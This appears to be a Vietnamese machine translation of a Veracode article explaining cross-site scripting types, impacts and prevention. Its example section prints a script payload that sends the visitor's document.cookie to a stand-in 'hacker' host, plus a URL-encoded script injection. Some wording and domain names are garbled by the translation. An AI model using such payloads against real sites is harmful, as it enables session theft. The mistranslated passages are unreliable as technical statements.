Cách ngăn chặn Cross site scripting

Các cuộc tấn công kịch bản chéo trang, còn được gọi là tấn công XSS, là một kiểu tấn công đưa mã độc vào các trang web an toàn khác. Kẻ tấn công sẽ sử dụng một lỗ hổng trong ứng dụng web mục tiêu để gửi một số loại mã độc hại, phổ biến nhất là JavaScript phía máy khách, tới người dùng cuối. Thay vì nhắm mục tiêu vào chính máy chủ của ứng dụng, các cuộc tấn công XSS thường nhắm trực tiếp vào người dùng của ứng dụng. Các tổ chức và công ty đang chạy các ứng dụng web có thể để ngỏ khả năng bị tấn công XSS nếu chúng hiển thị nội dung từ người dùng hoặc các nguồn không đáng tin cậy mà không thoát hoặc xác thực hợp lệ

Các lỗ hổng XSS là một trong 10 vấn đề bảo mật hàng đầu của OWASP hiện nay, đặc biệt là khi rất nhiều tổ chức phụ thuộc rất nhiều vào các ứng dụng web để tương tác và xác thực khách hàng. Tuy nhiên, bằng cách viết mã bảo mật, kiểm tra các lỗ hổng và làm việc với các công cụ bảo mật như Veracode Dynamic Analysis, các nhà phát triển có thể ngăn chặn, phát hiện và sửa chữa các lỗ hổng tiềm ẩn cho phép khai thác XSS.

Cross Site Scripting (XSS) là gì?

XSS xảy ra khi kẻ tấn công lừa ứng dụng web gửi dữ liệu ở dạng mà trình duyệt của người dùng có thể thực thi. Thông thường nhất, đây là sự kết hợp giữa HTML và XSS do kẻ tấn công cung cấp, nhưng XSS cũng có thể được sử dụng để phân phối các bản tải xuống, plugin hoặc nội dung đa phương tiện độc hại. Kẻ tấn công có thể đánh lừa ứng dụng web theo cách này khi ứng dụng web cho phép dữ liệu từ một nguồn không đáng tin cậy — chẳng hạn như dữ liệu do người dùng nhập vào biểu mẫu hoặc được phần mềm máy khách chuyển đến điểm cuối API — được hiển thị cho người dùng mà không được thoát đúng cách

Vì XSS có thể cho phép người dùng không đáng tin cậy thực thi mã trong trình duyệt của người dùng đáng tin cậy và truy cập vào một số loại dữ liệu, chẳng hạn như cookie phiên, lỗ hổng XSS có thể cho phép kẻ tấn công lấy dữ liệu từ người dùng và tự động đưa dữ liệu đó vào các trang web và kiểm soát

Nội dung độc hại được gửi qua XSS có thể được hiển thị ngay lập tức hoặc mỗi khi một trang được tải hoặc một sự kiện cụ thể được thực hiện. Các cuộc tấn công XSS nhằm vào người dùng của ứng dụng web và chúng có thể đặc biệt hiệu quả vì chúng xuất hiện trong một trang web đáng tin cậy

Bấm vào đây để xem Hướng dẫn khắc phục cho XSS trong Java hoặc tại đây để xem Hướng dẫn khắc phục trong ASP. NET

Trạng thái bảo mật phần mềm v11

Đọc báo cáo

Các khái niệm chính về XSS

  • XSS là một cuộc tấn công dựa trên web được thực hiện trên các ứng dụng web dễ bị tấn công
  • Trong các cuộc tấn công XSS, nạn nhân là người dùng chứ không phải ứng dụng
  • Trong các cuộc tấn công XSS, nội dung độc hại được gửi tới người dùng bằng JavaScript

Video kịch bản chéo trang

Nói tóm lại, các lỗ hổng XSS xảy ra khi đầu vào vào các ứng dụng web không được xác thực và/hoặc đầu ra cho trình duyệt không được thoát đúng cách trước khi được hiển thị

Ba loại tấn công XSS phổ biến nhất là liên tục, phản ánh và dựa trên DOM

Ví dụ tấn công XSS

XSS dai dẳng

Còn được gọi là XSS được lưu trữ, loại lỗ hổng này xảy ra khi đầu vào của người dùng không đáng tin cậy hoặc chưa được xác minh được lưu trữ trên máy chủ mục tiêu. Các mục tiêu phổ biến cho XSS liên tục bao gồm diễn đàn tin nhắn, trường nhận xét hoặc nhật ký khách truy cập—bất kỳ tính năng nào mà người dùng khác, được xác thực hoặc không được xác thực, sẽ xem nội dung độc hại của kẻ tấn công. Các trang hồ sơ hiển thị công khai, giống như những trang phổ biến trên các trang truyền thông xã hội và các nhóm thành viên, là một ví dụ điển hình về mục tiêu mong muốn cho XSS liên tục. Kẻ tấn công có thể nhập các tập lệnh độc hại vào các hộp hồ sơ và khi những người dùng khác truy cập hồ sơ, trình duyệt của họ sẽ tự động thực thi mã


Cách ngăn chặn Cross site scripting

 

XSS phản ánh

Mặt khác, tập lệnh chéo trang được phản ánh hoặc không liên tục liên quan đến việc trả lại đầu vào của người dùng ngay lập tức. Để khai thác XSS phản chiếu, kẻ tấn công phải lừa người dùng gửi dữ liệu đến trang đích, điều này thường được thực hiện bằng cách lừa người dùng nhấp vào liên kết được tạo thủ công độc hại. Trong nhiều trường hợp, các cuộc tấn công XSS phản ánh dựa trên các email lừa đảo hoặc các URL bị rút ngắn hoặc bị che khuất được gửi tới người dùng được nhắm mục tiêu. Khi nạn nhân truy cập liên kết, tập lệnh sẽ tự động thực thi trong trình duyệt của họ

Kết quả tìm kiếm và trang thông báo lỗi là hai mục tiêu phổ biến cho XSS được phản ánh. Họ thường gửi đầu vào chưa sửa đổi của người dùng như một phần của phản hồi mà không đảm bảo rằng dữ liệu được thoát đúng cách để dữ liệu được hiển thị an toàn trong trình duyệt


Cách ngăn chặn Cross site scripting

XSS dựa trên DOM

Tập lệnh chéo trang dựa trên DOM, còn được gọi là XSS phía máy khách, có một số điểm tương đồng với XSS được phản ánh vì nó thường được gửi qua một URL độc hại có chứa tập lệnh gây hại. Tuy nhiên, thay vì bao gồm tải trọng trong phản hồi HTTP của trang web đáng tin cậy, cuộc tấn công được thực hiện hoàn toàn trong trình duyệt bằng cách sửa đổi DOM hoặc Mô hình đối tượng tài liệu. Điều này nhắm vào lỗi JavaScript hợp pháp đã có trên trang để làm sạch đúng cách đầu vào của người dùng

Ví dụ XSS với Đoạn mã

Ví dụ 1.
Ví dụ: đoạn mã HTML.

<title>Example document: %(title)</title>


nhằm mục đích minh họa một đoạn mã mẫu, nếu tiêu đề biến có giá trị Cross-Site Scripting, dẫn đến HTML sau sẽ được phát ra cho trình duyệt

<title>Example document: XSS Doc</title>


Trang web chứa trường tìm kiếm không có quy trình khử trùng đầu vào thích hợp. Bằng cách tạo một truy vấn tìm kiếm giống như thế này

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>


ngồi ở đầu bên kia, tại máy chủ web, bạn sẽ nhận được các lượt truy cập trong đó sau dấu cách kép là cookie của người dùng. Nếu quản trị viên nhấp vào liên kết, kẻ tấn công có thể đánh cắp ID phiên và chiếm quyền điều khiển phiên

 

Ví dụ 2.
Giả sử có một URL trên trang web của Google, http://www.google.com/search?q=flowers, trả về tài liệu HTML có chứa đoạn

<p>Your search for 'flowers' returned the following results:</p>


tôi. e. , giá trị của tham số truy vấn q được chèn vào trang do Google trả về. Giả sử thêm rằng dữ liệu không được xác thực, lọc hoặc thoát.
Ác. org có thể đưa lên một trang khiến URL sau được tải trong trình duyệt (e. g. , trong một

http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E

 

Khi nạn nhân tải trang này từ www. độc ác. org, trình duyệt sẽ tải iframe từ URL ở trên. Tài liệu được tải vào iframe bây giờ sẽ chứa đoạn

<p>Your search for 'flowers <script>evil_script()</script>'

 

returned the following results:</p>


Việc tải trang này sẽ khiến trình duyệt thực thi evil_script(). Ngoài ra, tập lệnh này sẽ thực thi trong ngữ cảnh của một trang được tải từ www. Google. com

 

Tác động của Cross Site Scripting XSS

Khi kẻ tấn công thành công trong việc khai thác lỗ hổng XSS, chúng có thể có quyền truy cập vào thông tin đăng nhập tài khoản. Họ cũng có thể phát tán sâu web hoặc truy cập vào máy tính của người dùng và xem lịch sử trình duyệt của người dùng hoặc điều khiển trình duyệt từ xa. Sau khi giành quyền kiểm soát hệ thống của nạn nhân, kẻ tấn công cũng có thể phân tích và sử dụng các ứng dụng mạng nội bộ khác.
Bằng cách khai thác các lỗ hổng XSS, kẻ tấn công có thể thực hiện các hành động độc hại, chẳng hạn như.

  • Chiếm tài khoản
  • Phát tán sâu web
  • Truy cập lịch sử trình duyệt và nội dung clipboard
  • Điều khiển trình duyệt từ xa
  • Quét và khai thác các ứng dụng và thiết bị mạng nội bộ

Xác định các lỗ hổng Cross-Site Scripting

Lỗ hổng XSS có thể xảy ra nếu

  • Dữ liệu nhập vào các ứng dụng web không được xác thực
  • Đầu ra cho trình duyệt không được mã hóa HTML

Phát hiện và ngăn chặn lỗ hổng XSS

Các lỗ hổng XSS có thể được ngăn chặn bằng cách sử dụng nhất quán các phương pháp mã hóa an toàn. Bộ giải mã lỗ hổng Veracode của chúng tôi cung cấp các hướng dẫn hữu ích để tránh các cuộc tấn công dựa trên XSS. Bằng cách đảm bảo rằng tất cả đầu vào từ biểu mẫu người dùng, trường tìm kiếm hoặc yêu cầu gửi được thoát đúng cách, nhà phát triển có thể ngăn ứng dụng của họ bị kẻ tấn công lạm dụng

Ngăn chặn tập lệnh chéo trang phải là một phần trong quá trình phát triển của bạn, nhưng bạn có thể thực hiện các bước trong từng phần sản xuất để có thể phát hiện các lỗ hổng tiềm ẩn và ngăn chặn các cuộc tấn công

Tài nguyên để ngăn chặn Cross-Site Scripting

Ngăn chặn kịch bản chéo trang nên được giải quyết trong giai đoạn đầu của quá trình phát triển;

Bài đăng trên blog này cung cấp bản tóm tắt những gì bạn cần biết về Cross-Site Scripting.  

Bảng gian lận XSS. Ngăn chặn tấn công Cross-Site Scripting

Sổ tay mã hóa an toàn

Nhận sổ tay

Thêm hướng dẫn về mối đe dọa bảo mật MIỄN PHÍ từ Veracode

  • Lỗ hổng SQL injection
  • Tấn công CSRF
  • tiêm LDAP
  • Bảo mật di động

Tránh các lỗ hổng XSS bằng Veracode

Veracode cung cấp các giải pháp bảo mật ứng dụng hàng đầu giúp bảo vệ phần mềm quan trọng đối với hoạt động kinh doanh. Được xây dựng trên nền tảng dựa trên đám mây, các phương pháp thử nghiệm toàn diện của Veracode cho phép các nhà phát triển và quản trị viên kiểm tra các lỗ hổng trong suốt quá trình phát triển, từ khi bắt đầu cho đến khi sản xuất. Từ các công cụ dành cho IDE dành cho nhà phát triển đến các phân tích tĩnh và trình quét lỗ hổng web, Veracode cung cấp các dịch vụ dựa trên SaaS theo yêu cầu cho phép các tổ chức nhúng thử nghiệm bảo mật vào quá trình phát triển mà không ảnh hưởng đến sự linh hoạt hoặc tốc độ

Sửa lỗi XSS trong ứng dụng bao gồm ba bước

  • Các ứng dụng phải xác thực dữ liệu đầu vào cho ứng dụng web từ trình duyệt của người dùng
  • Tất cả đầu ra từ ứng dụng web đến trình duyệt của người dùng phải được mã hóa
  • Người dùng phải có tùy chọn tắt tập lệnh trang khách

Các dịch vụ thử nghiệm của Veracode có thể nhanh chóng quét kiểm soát và luồng dữ liệu cho một ứng dụng, đồng thời xác định chính xác tập lệnh giữa các trang và các lỗi khác trong mã được xây dựng nội bộ hoặc được mua từ bên thứ ba. Kết quả quét được trả về nhanh chóng – thường trong vòng bốn giờ – và bao gồm kế hoạch khắc phục từng bước giúp đẩy nhanh các bản sửa lỗi và ưu tiên các nỗ lực

Veracode có thể giúp bạn bảo vệ khỏi các cuộc tấn công XSS

Thực hành mã hóa an toàn có thể giúp tránh giới thiệu các lỗ hổng XSS. Tuy nhiên, không có nhà phát triển nào luôn nhận thức được mọi trang web tiềm năng có lỗi hoặc lỗ hổng bảo mật. Các công cụ Đào tạo dành cho nhà phát triển và eLearning của Veracode có thể dạy các phương pháp mã hóa an toàn trong khi Veracode Security Labs cung cấp đào tạo thực hành để cho phép tất cả các nhà phát triển viết mã an toàn và nhúng bảo mật vào dự án của họ ngay từ đầu

Veracode Discovery kiểm tra các ứng dụng web, khám phá và kiểm kê các ứng dụng truy cập Internet và quét các lỗ hổng, bao gồm các lỗ hổng SQL injection, các cuộc tấn công CSRF, LDAP injection và các lỗi ứng dụng di động. Veracode Dynamic Analysis quét các ứng dụng web một cách hiệu quả, tìm lỗ hổng và hướng dẫn nhà phát triển giải quyết các sự cố, tất cả trước khi ứng dụng của bạn hoạt động

Làm thế nào có thể Stored chéo

Để ngăn chặn các cuộc tấn công XSS, ứng dụng của bạn phải xác thực tất cả dữ liệu đầu vào, đảm bảo rằng chỉ dữ liệu có trong danh sách cho phép mới được phép và đảm bảo rằng tất cả đầu ra biến trong một trang đều được mã hóa trước . .

Phương pháp tốt nhất để ngăn chặn chéo là gì

Cách ngăn chặn các cuộc tấn công XSS .
Lọc đầu vào khi đến. Tại thời điểm nhận được đầu vào của người dùng, hãy lọc càng nghiêm ngặt càng tốt dựa trên những gì được mong đợi hoặc đầu vào hợp lệ
Mã hóa dữ liệu trên đầu ra. .
Sử dụng các tiêu đề phản hồi thích hợp. .
Chính sách bảo mật nội dung

chữ thập là gì

Cross-site scripting (XSS) là một loại tấn công bảo mật tiêm chích, trong đó kẻ tấn công đưa dữ liệu, chẳng hạn như tập lệnh độc hại, vào nội dung từ các trang web đáng tin cậy khác.

Tiêu đề nào sẽ giúp ngăn chặn cuộc tấn công XSS?

Tiêu đề phản hồi HTTP X-XSS-Protection là một tính năng của Internet Explorer, Chrome và Safari ngăn các trang tải khi chúng phát hiện thấy .